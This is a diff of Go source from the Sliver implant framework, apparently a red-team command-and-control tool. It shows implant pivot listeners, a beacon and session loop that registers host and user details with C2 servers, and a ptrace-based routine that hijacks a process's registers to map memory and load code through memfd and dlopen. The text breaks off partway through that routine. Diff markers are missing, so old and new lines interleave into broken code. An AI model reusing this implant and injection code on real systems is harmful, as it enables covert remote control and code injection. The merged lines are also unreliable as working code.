return &pb.PivotPeer{
ID: p.id,
RemoteAddress: p.RemoteAddress(),
}
}
// Start - Starts the TCP pivot connection handler
func (p *NetConnPivot) Start(pivots *sync.Map) {
defer p.conn.Close()
err := p.peerKeyExchange()
data, err := proto.Marshal(pivotClose)
if err != nil {
// {{if .Config.Debug}}
log.Println(err)
// {{end}}
return
}
// {{if .Config.Debug}}
log.Printf("[pivot] peer key exchange completed successfully")
// {{end}}
// We don't want to register the peer prior to the key exchange
// Add & remove self from listener pivots map
pivots.Store(p.ID(), p)
defer pivots.Delete(p.ID())
go func() {
defer close(p.Downstream)
for {
envelope, err := p.readEnvelope()
if err != nil {
return // Will return when connection is closed
}
if envelope.Type == pb.MsgPivotPeerPing {
// {{if .Config.Debug}}
log.Printf("[pivot] received peer ping, sending peer pong ...")
// {{end}}
p.Downstream <- &pb.Envelope{
Type: pb.MsgPivotPeerPing,
Data: envelope.Data,
}
} else {
// {{if .Config.Debug}}
log.Printf("[pivot] received peer envelope, upstreaming (%d) ...", envelope.Type)
// {{end}}
envelopeData, _ := proto.Marshal(envelope)
data, _ := proto.Marshal(&pb.PivotPeerEnvelope{
PeerID: PeerID, // This proccess' Peer ID
PivotID: p.ID(), // The Pivot connection ID
Name: consts.SliverName,
Data: envelopeData,
})
p.upstream <- &pb.Envelope{
ID: 0, // Pivot server implementation uses handlers, so ID must be zero
Type: pb.MsgPivotPeerEnvelope,
Data: data,
}
}
}
}()
for envelope := range p.Downstream {
err := p.writeEnvelope(envelope)
if err != nil {
return
}
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgPivotClose,
Data: data,
}
}
// peerKeyExchange - Exchange session key with peer, it's important that we DO NOT write
// anything to the socket before we've validated the peer's key is properly signed.
func (p *NetConnPivot) peerKeyExchange() error {
p.conn.SetReadDeadline(time.Now().Add(tcpPivotReadDeadline))
peerHelloRaw, err := p.read()
p.conn.SetReadDeadline(time.Time{})
// PivotWriteEnvelope - Writes a protobuf envelope to a generic connection
func PivotWriteEnvelope(cipherCtx *cryptography.CipherContext, conn *net.Conn, envelope *sliverpb.Envelope) error {
data, err := proto.Marshal(envelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] peer read failure: %s", err)
// {{end}}
return ErrFailedKeyExchange
}
peerHello := &pb.PivotHello{}
err = proto.Unmarshal(peerHelloRaw, peerHello)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] unmarshal failure: %s", err)
// {{end}}
return ErrFailedKeyExchange
}
validPeer := cryptography.MinisignVerify(peerHello.PublicKey, peerHello.PublicKeySignature)
if !validPeer {
// {{if .Config.Debug}}
log.Printf("[pivot] invalid peer key")
// {{end}}
return ErrFailedKeyExchange
}
sessionKey := cryptography.RandomKey()
p.cipherCtx = cryptography.NewCipherContext(sessionKey)
ciphertext, err := cryptography.ECCEncryptToPeer(peerHello.PublicKey, peerHello.PublicKeySignature, sessionKey[:])
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] peer encryption failure: %s", err)
// {{end}}
return ErrFailedKeyExchange
}
publicKeyRaw, _ := base64.RawStdEncoding.DecodeString(cryptography.ECCPublicKey)
peerResponse, _ := proto.Marshal(&pb.PivotHello{
PublicKey: publicKeyRaw,
PublicKeySignature: cryptography.ECCPublicKeySignature,
SessionKey: ciphertext,
})
p.conn.SetWriteDeadline(time.Now().Add(tcpPivotWriteDeadline))
err = p.write(peerResponse)
p.conn.SetWriteDeadline(time.Time{})
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] peer write failure: %s", err)
// {{end}}
return ErrFailedKeyExchange
}
return nil
}
// write - Write a message to the TCP pivot with a length prefix
// it's unlikely we can't write the 4-byte length prefix in one write
// so we fail if we can't, messages may be much longer so we try to
// drain the message buffer if we didn't complete the write
func (p *NetConnPivot) write(message []byte) error {
p.writeMutex.Lock()
defer p.writeMutex.Unlock()
n, err := p.conn.Write(p.lengthOf(message))
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Error writing message length: %v", err)
log.Print("Envelope marshaling error: ", err)
// {{end}}
return err
}
if n != 4 {
// {{if .Config.Debug}}
log.Printf("[pivot] Error writing message length: %v", err)
// {{end}}
return ErrFailedWrite
data, err = cipherCtx.Encrypt(data)
if err != nil {
return err
}
total := 0
for total < len(message) {
n, err = p.conn.Write(message[total:])
total += n
dataLengthBuf := new(bytes.Buffer)
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
_, err = (*conn).Write(dataLengthBuf.Bytes())
if err != nil {
// {{if .Config.Debug}}
log.Printf("pivots.PivotWriteEnvelope error %v and %d\n", err, dataLengthBuf)
// {{end}}
}
totalWritten := 0
for totalWritten < len(data)-writeBufSize {
n, err2 := (*conn).Write(data[totalWritten : totalWritten+writeBufSize])
totalWritten += n
if err2 != nil {
// {{if .Config.Debug}}
log.Printf("pivots.PivotWriteEnvelope error %v\n", err)
// {{end}}
}
}
if totalWritten < len(data) {
missing := len(data) - totalWritten
_, err := (*conn).Write(data[totalWritten : totalWritten+missing])
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Error writing message: %v", err)
log.Printf("pivots.PivotWriteEnvelope error %v\n", err)
// {{end}}
return err
}
}
return nil
}
func (p *NetConnPivot) read() ([]byte, error) {
p.readMutex.Lock()
defer p.readMutex.Unlock()
// PivotReadEnvelope - Reads a protobuf envelope from a generic connection
func PivotReadEnvelope(cipherCtx *cryptography.CipherContext, conn net.Conn) (*sliverpb.Envelope, error) {
dataLengthBuf := make([]byte, 4)
n, err := p.conn.Read(dataLengthBuf)
if err != nil || n != 4 {
_, err := conn.Read(dataLengthBuf)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Error (read msg-length): %v\n", err)
log.Printf("pivots.PivotReadEnvelope error (read msg-length): %v\n", err)
// {{end}}
return nil, err
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
readBuf := make([]byte, readBufSize)
dataBuf := []byte{}
dataBuf := make([]byte, 0)
totalRead := 0
for {
n, err := p.conn.Read(readBuf)
n, err := conn.Read(readBuf)
dataBuf = append(dataBuf, readBuf[:n]...)
totalRead += n
if totalRead == dataLength {
@@ -388,76 +223,22 @@ func (p *NetConnPivot) read() ([]byte, error) {
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
log.Printf("Read error: %s\n", err)
// {{end}}
return nil, err
break
}
}
return dataBuf, err
}
func (p *NetConnPivot) lengthOf(message []byte) []byte {
dataLengthBuf := new(bytes.Buffer)
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(message)))
return dataLengthBuf.Bytes()
}
// writeEnvelope - Write a complete envelope
func (p *NetConnPivot) writeEnvelope(envelope *pb.Envelope) error {
data, err := proto.Marshal(envelope)
dataBuf, err = cipherCtx.Decrypt(dataBuf)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Marshaling error: %s", err)
// {{end}}
return err
}
data, err = p.cipherCtx.Encrypt(data)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Encryption error: %s", err)
// {{end}}
return err
}
return p.write(data)
}
// readEnvelope - Read a complete envelope
func (p *NetConnPivot) readEnvelope() (*pb.Envelope, error) {
data, err := p.read()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Error reading message: %v", err)
// {{end}}
return nil, err
}
data, err = p.cipherCtx.Decrypt(data)
envelope := &sliverpb.Envelope{}
err = proto.Unmarshal(dataBuf, envelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Decryption error: %s", err)
log.Printf("Unmarshal envelope error: %v", err)
// {{end}}
return nil, err
}
envelope := &pb.Envelope{}
err = proto.Unmarshal(data, envelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Unmarshal envelope error: %v", err)
// {{end}}
return nil, err
return &sliverpb.Envelope{}, err
}
return envelope, nil
}
// RemoteAddress - Remote address of peer
func (p *NetConnPivot) RemoteAddress() string {
remoteAddr := p.conn.RemoteAddr()
if remoteAddr != nil {
return remoteAddr.String()
}
return ""
}
// Close - Close connection to peer
func (p *NetConnPivot) Close() error {
return p.conn.Close()
}
-29
View File
@@ -1,29 +0,0 @@
//go:build !windows
package pivots
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
)
var SupportedPivotListeners = map[pb.PivotType]StartListener{
pb.PivotType_TCP: StartTCPPivotListener,
}
-28
View File
@@ -1,28 +0,0 @@
package pivots
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
)
var SupportedPivotListeners = map[pb.PivotType]StartListener{
pb.PivotType_TCP: StartTCPPivotListener,
pb.PivotType_NamedPipe: StartNamedPipePivotListener,
}
+127 -39
View File
@@ -19,66 +19,154 @@ package pivots
*/
import (
"net"
"sync"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"encoding/binary"
"fmt"
"math/rand"
"time"
"net"
"github.com/bishopfox/sliver/implant/sliver/cryptography"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
var (
tcpPivotReadDeadline = 10 * time.Second
tcpPivotWriteDeadline = 10 * time.Second
)
// StartTCPPivotListener - Start a TCP listener
func StartTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
// StartTCPListener - Start a TCP listener
func StartTCPListener(address string) error {
// {{if .Config.Debug}}
log.Printf("Starting TCP pivot listener on %s", address)
log.Printf("Starting Raw TCP listener on %s", address)
// {{end}}
ln, err := net.Listen("tcp", address)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[tcp-pivot] listener error: %s", err)
log.Println(err)
// {{end}}
return nil, err
return err
}
pivotListener := &PivotListener{
ID: ListenerID(),
Type: pb.PivotType_TCP,
Listener: ln,
Pivots: &sync.Map{},
BindAddress: address,
Upstream: upstream,
}
go tcpPivotAcceptNewConnections(pivotListener)
return pivotListener, nil
pivotListeners = append(pivotListeners, &PivotListener{
Type: "tcp",
RemoteAddress: address,
})
go tcpPivotAcceptNewConnection(ln)
return nil
}
func tcpPivotAcceptNewConnections(pivotListener *PivotListener) {
func tcpPivotAcceptNewConnection(ln net.Listener) {
for {
conn, err := pivotListener.Listener.Accept()
conn, err := ln.Accept()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[tcp-pivot] listener stopping: %s", err)
log.Printf("tcp accept failure: %s", err)
// {{end}}
continue
}
// handle connection like any other net.Conn
go tcpPivotConnectionHandler(conn)
}
}
func tcpPivotConnectionHandler(conn net.Conn) {
// First we read a uint64 containing the current OTP
// code to prevent random connections and confirm the
// peer was compiled by the same server.
otpBuf := make([]byte, 8)
conn.SetReadDeadline(time.Now().Add(time.Second * 10))
n, err := conn.Read(otpBuf)
if err != nil || n != 8 {
conn.Close()
// {{if .Config.Debug}}
log.Printf("Failed to read otp code from peer: %v\n", err)
// {{end}}
return
}
otpCode := fmt.Sprintf("%d", binary.LittleEndian.Uint64(otpBuf))
valid, err := cryptography.ValidateTOTP(otpCode)
if err != nil || !valid {
conn.Close()
// {{if .Config.Debug}}
log.Printf("Invalid otp code from peer %v\n", err)
// {{end}}
return
}
// cipherCtx := cryptography.NewCipherContext(cryptography.PeerAESKey(otpCode))
// tcpPivotStart(cipherCtx, conn)
}
func tcpPivotStart(cipherCtx *cryptography.CipherContext, conn net.Conn) {
pivotID := pivotID()
// defer func() {
// // {{if .Config.Debug}}
// log.Printf("Cleaning up for pivot %d\n", pivotID)
// // {{end}}
// conn.Close()
// pivotClose := &sliverpb.PivotClose{
// PivotID: pivotID,
// }
// data, err := proto.Marshal(pivotClose)
// if err != nil {
// // {{if .Config.Debug}}
// log.Println(err)
// // {{end}}
// return
// }
// connection := transports.GetActiveConnection()
// if connection.IsOpen {
// connection.Send <- &sliverpb.Envelope{
// Type: sliverpb.MsgPivotClose,
// Data: data,
// }
// }
// }()
for {
envelope, err := PivotReadEnvelope(cipherCtx, conn)
if err != nil {
// {{if .Config.Debug}}
log.Println(err)
// {{end}}
return
}
// handle connection like any other net.Conn
pivotConn := &NetConnPivot{
id: PivotID(),
conn: conn,
readMutex: &sync.Mutex{},
writeMutex: &sync.Mutex{},
readDeadline: tcpPivotReadDeadline,
writeDeadline: tcpPivotWriteDeadline,
upstream: pivotListener.Upstream,
Downstream: make(chan *pb.Envelope),
dataBuf, err1 := proto.Marshal(envelope)
if err1 != nil {
// {{if .Config.Debug}}
log.Println(err1)
// {{end}}
return
}
pivotData := &sliverpb.PivotData{
PivotID: pivotID,
Data: dataBuf,
}
connection := transports.GetActiveConnection()
if envelope.Type == 1 {
SendPivotOpen(pivotID, dataBuf, connection)
continue
}
data2, err2 := proto.Marshal(pivotData)
if err2 != nil {
// {{if .Config.Debug}}
log.Println(err2)
// {{end}}
return
}
if connection.IsOpen {
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgPivotData,
Data: data2,
}
}
go pivotConn.Start(pivotListener.Pivots)
}
}
func pivotID() uint32 {
buf := make([]byte, 4)
rand.Read(buf)
return binary.LittleEndian.Uint32(buf)
}
+81 -124
View File
@@ -36,6 +36,9 @@ import (
// {{if .Config.IsBeacon}}
"sync"
"github.com/gofrs/uuid"
// {{end}}
// {{if .Config.Debug}}{{else}}
@@ -52,11 +55,11 @@ import (
"github.com/bishopfox/sliver/implant/sliver/handlers"
"github.com/bishopfox/sliver/implant/sliver/hostuuid"
"github.com/bishopfox/sliver/implant/sliver/limits"
"github.com/bishopfox/sliver/implant/sliver/pivots"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/implant/sliver/version"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/gofrs/uuid"
"google.golang.org/protobuf/proto"
"google.golang.org/protobuf/reflect/protoreflect"
@@ -66,15 +69,15 @@ import (
)
var (
InstanceID string
// {{if .Config.IsBeacon}}
BeaconID string
// {{end}}
c2Servers = []string{
// {{range $index, $value := .Config.C2}}
"{{$value}}", // {{$index}}
// {{end}}
}
connectionErrors = 0
)
func init() {
@@ -86,13 +89,15 @@ func init() {
}
insecureRand.Seed(int64(seed))
// {{if .Config.IsBeacon}}
id, err := uuid.NewV4()
if err != nil {
buf := make([]byte, 16) // NewV4 fails if secure rand fails
insecureRand.Read(buf)
id = uuid.FromBytesOrNil(buf)
}
InstanceID = id.String()
BeaconID = id.String()
// {{end}}
}
// {{if .Config.IsService}}
@@ -105,25 +110,11 @@ func (serv *sliverService) Execute(args []string, r <-chan svc.ChangeRequest, ch
for {
select {
default:
abort := make(chan struct{})
connections := transports.StartConnectionLoop(c2Servers, abort)
for connection := range connections {
if connection == nil {
break
}
err := sessionMainLoop(connection)
if err != nil {
connectionErrors++
if transports.GetMaxConnectionErrors() < connectionErrors {
return
}
}
reconnect := transports.GetReconnectInterval()
// {{if .Config.Debug}}
log.Printf("Reconnect sleep: %s", reconnect)
// {{end}}
time.Sleep(reconnect)
connection := transports.StartConnectionLoop(c2Servers)
if connection == nil {
break
}
sessionMainLoop(connection)
case c := <-r:
switch c.Cmd {
case svc.Interrogate:
@@ -201,24 +192,21 @@ func main() {
// {{if .Config.IsBeacon}}
// {{if .Config.Debug}}
log.Printf("Running in Beacon mode with ID: %s", InstanceID)
log.Printf("Running in Beacon mode with ID: %s", BeaconID)
// {{end}}
abort := make(chan struct{})
defer func() {
abort <- struct{}{}
}()
beacons := transports.StartBeaconLoop(c2Servers, abort)
for beacon := range beacons {
beaconGenerator := transports.StartBeaconLoop(c2Servers, abort)
for beacon := range beaconGenerator {
// {{if .Config.Debug}}
log.Printf("Next beacon = %v", beacon)
// {{end}}
if beacon != nil {
err := beaconMainLoop(beacon)
if err != nil {
connectionErrors++
if transports.GetMaxConnectionErrors() < connectionErrors {
return
}
break
}
}
reconnect := transports.GetReconnectInterval()
@@ -228,25 +216,15 @@ func main() {
time.Sleep(reconnect)
}
// {{else}} ------- IsBeacon/IsSession -------
// {{else}}
// {{if .Config.Debug}}
log.Printf("Running in session mode")
// {{end}}
abort := make(chan struct{})
defer func() {
abort <- struct{}{}
}()
connections := transports.StartConnectionLoop(c2Servers, abort)
for connection := range connections {
for {
connection := transports.StartConnectionLoop(c2Servers)
if connection != nil {
err := sessionMainLoop(connection)
if err != nil {
connectionErrors++
if transports.GetMaxConnectionErrors() < connectionErrors {
return
}
}
sessionMainLoop(connection)
}
reconnect := transports.GetReconnectInterval()
// {{if .Config.Debug}}
@@ -260,14 +238,22 @@ func main() {
}
// {{if .Config.IsBeacon}}
var (
beaconErrors = 0
)
func beaconMainLoop(beacon *transports.Beacon) error {
// Register beacon
err := beacon.Init()
if err != nil {
beaconErrors++
if transports.GetMaxConnectionErrors() < beaconErrors {
return err
}
// {{if .Config.Debug}}
log.Printf("Beacon init error: %s", err)
log.Printf("[beacon] init failure %s", err)
// {{end}}
return err
return nil
}
defer func() {
err := beacon.Cleanup()
@@ -283,25 +269,21 @@ func beaconMainLoop(beacon *transports.Beacon) error {
// {{if .Config.Debug}}
log.Printf("Error starting beacon: %s", err)
// {{end}}
connectionErrors++
if transports.GetMaxConnectionErrors() < connectionErrors {
beaconErrors++
if transports.GetMaxConnectionErrors() < beaconErrors {
return err
}
return nil
}
connectionErrors = 0
// {{if .Config.Debug}}
log.Printf("Registering beacon with server")
// {{end}}
nextCheckin := time.Now().Add(beacon.Duration())
register := registerSliver()
register.ActiveC2 = beacon.URL()
register.ProxyURL = beacon.ProxyURL()
beacon.Send(wrapEnvelope(sliverpb.MsgBeaconRegister, &sliverpb.BeaconRegister{
ID: InstanceID,
beacon.Send(Envelope(sliverpb.MsgBeaconRegister, &sliverpb.BeaconRegister{
ID: BeaconID,
Interval: beacon.Interval(),
Jitter: beacon.Jitter(),
Register: register,
Register: RegisterSliver(),
NextCheckin: nextCheckin.UTC().Unix(),
}))
beacon.Close()
@@ -353,8 +335,8 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
// {{if .Config.Debug}}
log.Printf("[beacon] sending check in ...")
// {{end}}
err = beacon.Send(wrapEnvelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
ID: InstanceID,
err = beacon.Send(Envelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
ID: BeaconID,
NextCheckin: nextCheckin.UTC().Unix(),
}))
if err != nil {
@@ -452,8 +434,8 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
log.Printf("[beacon] all tasks completed, sending results to server")
// {{end}}
err = beacon.Send(wrapEnvelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
ID: InstanceID,
err = beacon.Send(Envelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
ID: BeaconID,
Tasks: results,
}))
if err != nil {
@@ -486,59 +468,30 @@ func openSessionHandler(data []byte) {
}
go func() {
abort := make(chan struct{})
connections := transports.StartConnectionLoop(openSession.C2S, abort)
defer func() { abort <- struct{}{} }()
connectionAttempts := 0
for connection := range connections {
connectionAttempts++
if connection != nil {
err := sessionMainLoop(connection)
if err == nil {
break
}
// {{if .Config.Debug}}
log.Printf("[beacon] failed to connect to server: %s", err)
// {{end}}
}
if len(openSession.C2S) <= connectionAttempts {
// {{if .Config.Debug}}
log.Printf("[beacon] failed to connect to server, max connection attempts reached")
// {{end}}
break
}
connection := transports.StartConnectionLoop(openSession.C2S)
// {{if .Config.Debug}}
if connection == nil {
log.Printf("[beacon] failed to open session!")
}
// {{end}}
if connection != nil {
sessionMainLoop(connection)
}
}()
}
// {{end}} -IsBeacon
func sessionMainLoop(connection *transports.Connection) error {
err := connection.Start()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[session] failed to establish connection: %s", err)
// {{end}}
return err
}
if connection == nil {
// {{if .Config.Debug}}
log.Printf("[session] nil connection!")
// {{end}}
return nil
}
defer connection.Stop()
connectionErrors = 0
func sessionMainLoop(connection *transports.Connection) {
// Reconnect active pivots
// pivots.ReconnectActivePivots(connection)
register := registerSliver()
register.ActiveC2 = connection.URL()
register.ProxyURL = connection.ProxyURL()
connection.Send <- wrapEnvelope(sliverpb.MsgRegister, register) // Send registration information
pivots.ReconnectActivePivots(connection)
connection.Send <- Envelope(sliverpb.MsgRegister, RegisterSliver()) // Send registration information
pivotHandlers := handlers.GetPivotHandlers()
tunHandlers := handlers.GetTunnelHandlers()
sysHandlers := handlers.GetSystemHandlers()
sysPivotHandlers := handlers.GetSystemPivotHandlers()
specialHandlers := handlers.GetSpecialHandlers()
for envelope := range connection.Recv {
@@ -589,6 +542,11 @@ func sessionMainLoop(connection *transports.Connection) error {
log.Printf("[recv] tunHandler %d", envelope.Type)
// {{end}}
go handler(envelope, connection)
} else if handler, ok := sysPivotHandlers[envelope.Type]; ok {
// {{if .Config.Debug}}
log.Printf("[recv] sysPivotHandlers with type %d", envelope.Type)
// {{end}}
go handler(envelope, connection)
} else {
// {{if .Config.Debug}}
log.Printf("[recv] unknown envelope type %d", envelope.Type)
@@ -600,11 +558,10 @@ func sessionMainLoop(connection *transports.Connection) error {
}
}
}
return nil
}
// Envelope - Creates an envelope with the given type and data.
func wrapEnvelope(msgType uint32, message protoreflect.ProtoMessage) *sliverpb.Envelope {
func Envelope(msgType uint32, message protoreflect.ProtoMessage) *sliverpb.Envelope {
data, err := proto.Marshal(message)
if err != nil {
// {{if .Config.Debug}}
@@ -618,8 +575,8 @@ func wrapEnvelope(msgType uint32, message protoreflect.ProtoMessage) *sliverpb.E
}
}
// registerSliver - Creates a registartion protobuf message
func registerSliver() *sliverpb.Register {
// RegisterSliver - Creates a registartion protobuf message
func RegisterSliver() *sliverpb.Register {
hostname, err := os.Hostname()
if err != nil {
// {{if .Config.Debug}}
@@ -636,9 +593,9 @@ func registerSliver() *sliverpb.Register {
// Gracefully error out
currentUser = &user.User{
Username: "<err>",
Uid: "<err>",
Gid: "<err>",
Username: "<< error >>",
Uid: "<< error >>",
Gid: "<< error >>",
}
}
@@ -649,31 +606,31 @@ func registerSliver() *sliverpb.Register {
if 0 < len(os.Args) {
filename = os.Args[0]
} else {
filename = "<err>"
filename = "<< error >>"
}
}
// Retrieve UUID
uuid := hostuuid.GetUUID()
// {{if .Config.Debug}}
log.Printf("Host Uuid: %s", uuid)
log.Printf("Uuid: %s", uuid)
// {{end}}
return &sliverpb.Register{
Name: consts.SliverName,
Hostname: hostname,
Uuid: uuid,
Username: currentUser.Username,
Uid: currentUser.Uid,
Gid: currentUser.Gid,
Os: runtime.GOOS,
Version: version.GetVersion(),
Arch: runtime.GOARCH,
Pid: int32(os.Getpid()),
Filename: filename,
// ActiveC2: transports.GetActiveC2(),
Name: consts.SliverName,
Hostname: hostname,
Uuid: uuid,
Username: currentUser.Username,
Uid: currentUser.Uid,
Gid: currentUser.Gid,
Os: runtime.GOOS,
Version: version.GetVersion(),
Arch: runtime.GOARCH,
Pid: int32(os.Getpid()),
Filename: filename,
ActiveC2: transports.GetActiveC2(),
ReconnectInterval: int64(transports.GetReconnectInterval()),
// ProxyURL: transports.GetProxyURL(),
ConfigID: "{{ .Config.ID }}",
ProxyURL: transports.GetProxyURL(),
ConfigID: "{{ .Config.ID }}",
}
}
@@ -0,0 +1,514 @@
package taskrunner
import (
"debug/elf"
"fmt"
"io/ioutil"
// {{if .Config.Debug}}
"log"
// {{end}}
"os"
"runtime"
"strings"
"syscall"
"golang.org/x/sys/unix"
)
func getSymbolOffset(symbolName, libPath string) (uint64, error) {
e, err := elf.Open(libPath)
if err != nil {
return 0, err
}
symbols, err := e.DynamicSymbols()
if err != nil {
return 0, err
}
for _, s := range symbols {
if s.Name == symbolName {
return s.Value, nil
}
}
return 0, fmt.Errorf("symbol not found")
}
func allocateMap(pid int, size uint64, permissions int) (uint64, error) {
var (
res uint64
)
err := getRegistersAndRestore(pid, func(regs *syscall.PtraceRegs) error {
backupData, err := readMem(pid, regs.Rip)
backupRip := regs.Rip
if err != nil {
// {{if .Config.Debug}}
log.Println("readMem:", err)
// {{end}}
return err
}
var syscallCall = []byte{0x0f, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} // syscall asm instruction
err = writeMem(pid, regs.Rip, syscallCall)
if err != nil {
// {{if .Config.Debug}}
log.Println("writeMem failed:", err)
// {{end}}
return err
}
regs.Rax = syscall.SYS_MMAP
regs.Rdi = 0
regs.Rsi = size
regs.Rdx = uint64(permissions)
regs.R10 = syscall.MAP_ANONYMOUS | syscall.MAP_PRIVATE
regs.R8 = 0
regs.R9 = 0
err = syscall.PtraceSetRegs(pid, regs)
if err != nil {
// {{if .Config.Debug}}
log.Println("PtraceSetRegs failed:", err)
// {{end}}
return err
}
// {{if .Config.Debug}}
log.Println("[*] Registers set !")
// {{end}}
err = syscall.PtraceSingleStep(pid)
if err != nil {
// {{if .Config.Debug}}
log.Println("PtraceSingleStep failed:", err)
// {{end}}
return err
}
_, _, err = ptraceWait(pid)
if err != nil {
// {{if .Config.Debug}}
log.Println(err)
// {{end}}
return err
}
err = syscall.PtraceSingleStep(pid)
if err != nil {
// {{if .Config.Debug}}
log.Println("PtraceSingleStep failed:", err)
// {{end}}
return err
}
_, _, err = ptraceWait(pid)
if err != nil {
// {{if .Config.Debug}}
log.Println(err)
// {{end}}
return err
}
var newRegs = &syscall.PtraceRegs{}
err = syscall.PtraceGetRegs(pid, newRegs)
if err != nil {
// {{if .Config.Debug}}
log.Println("PtraceGetRegs failed:", err)
// {{end}}
return err
}
// {{if .Config.Debug}}
log.Println("[*] Got registers")
// {{end}}
res = newRegs.Rax
// {{if .Config.Debug}}
log.Printf("[*] New RIP at 0x%08x\n", newRegs.Rip)
log.Printf("[*] Allocated memory at 0x%08x\n", res)
// {{end}}
allMaps, err := ProcMaps(pid)
if err != nil {
return err
}
// {{if .Config.Debug}}
for _, m := range allMaps {
if res > uint64(m.StartAddr) && res < uint64(m.EndAddr) {
log.Printf("[*] Mapping in %s\n", m.Pathname)
break
}
}
// {{end}}
err = writeMem(pid, backupRip, backupData)
if err != nil {
// {{if .Config.Debug}}
log.Println("writeMem:", err)
// {{end}}
return err
}
return err
})
return res, err
}
func ptraceWait(pid int) (wpid int, status syscall.WaitStatus, err error) {
wpid, err = syscall.Wait4(pid, &status, syscall.WALL, nil)
if err != nil {
return 0, 0, err
}
// {{if .Config.Debug}}
log.Printf("wait: wpid=%5d, status=0x%06x\n", wpid, status)
// {{end}}
return wpid, status, nil
}
func getRegistersAndRestore(pid int, callback func(regs *syscall.PtraceRegs) error) error {
backup := syscall.PtraceRegs{}
err := syscall.PtraceGetRegs(pid, &backup)
if err != nil {
return err
}
// {{if .Config.Debug}}
log.Printf("[*] Old RIP at 0x%08x\n", backup.Rip)
// {{end}}
regs := backup
err = callback(&regs)
if err != nil {
return err
}
return syscall.PtraceSetRegs(pid, &backup)
}
func writeMem(pid int, addr uint64, data []byte) error {
c, err := syscall.PtracePokeData(pid, uintptr(addr), data)
if err == nil {
// {{if .Config.Debug}}
log.Printf("[*] Wrote %d bytes\n", c)
// {{end}}
}
return err
}
func readMem(pid int, addr uint64) ([]byte, error) {
res := make([]byte, 2048)
_, err := syscall.PtracePeekData(pid, uintptr(addr), res)
return res, err
}
func writeToMemFD(data []byte) (string, error) {
newFdName := "_"
fd, err := unix.MemfdCreate(newFdName, unix.MFD_ALLOW_SEALING)
if err != nil {
return "", err
}
pid := os.Getpid()
fdPath := fmt.Sprintf("/proc/%d/fd/%d", pid, fd)
err = ioutil.WriteFile(fdPath, data, 0755)
if err != nil {
return "", err
}
return fdPath, nil
}
func getProgName(pid int) (string, error) {
var progName string
data, err := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid))
if err != nil {
return "", err
}
for _, b := range data {
if b == 0x00 {
break
}
progName += string(b)
}
return progName, nil
}
// Make sure we're inside the target main module
// and not inside some shared library code
func findSweetSpot(pid int) error {
var module *ProcMap
progName, err := getProgName(pid)
if err != nil {
return err
}
regs := syscall.PtraceRegs{}
allMaps, err := ProcMaps(pid)
if err != nil {
return err
}
for _, m := range allMaps {
if strings.Contains(m.Pathname, progName) && m.Perms.Execute {
module = m
}
}
if module == nil {
return fmt.Errorf("can't find module")
}
for {
err := syscall.PtraceSingleStep(pid)
if err != nil {
return err
}
_, _, err = ptraceWait(pid)
if err != nil {
return err
}
err = syscall.PtraceGetRegs(pid, &regs)
if err != nil {
return err
}
if regs.Rip > uint64(module.StartAddr) && regs.Rip < uint64(module.EndAddr) {
break
}
}
return nil
}
func callDlopen(pid int, dataAddr uint64, dlopenAddr uint64) error {
err := getRegistersAndRestore(pid, func(regs *syscall.PtraceRegs) error {
// {{if .Config.Debug}}
allMaps, _ := ProcMaps(pid)
for _, m := range allMaps {
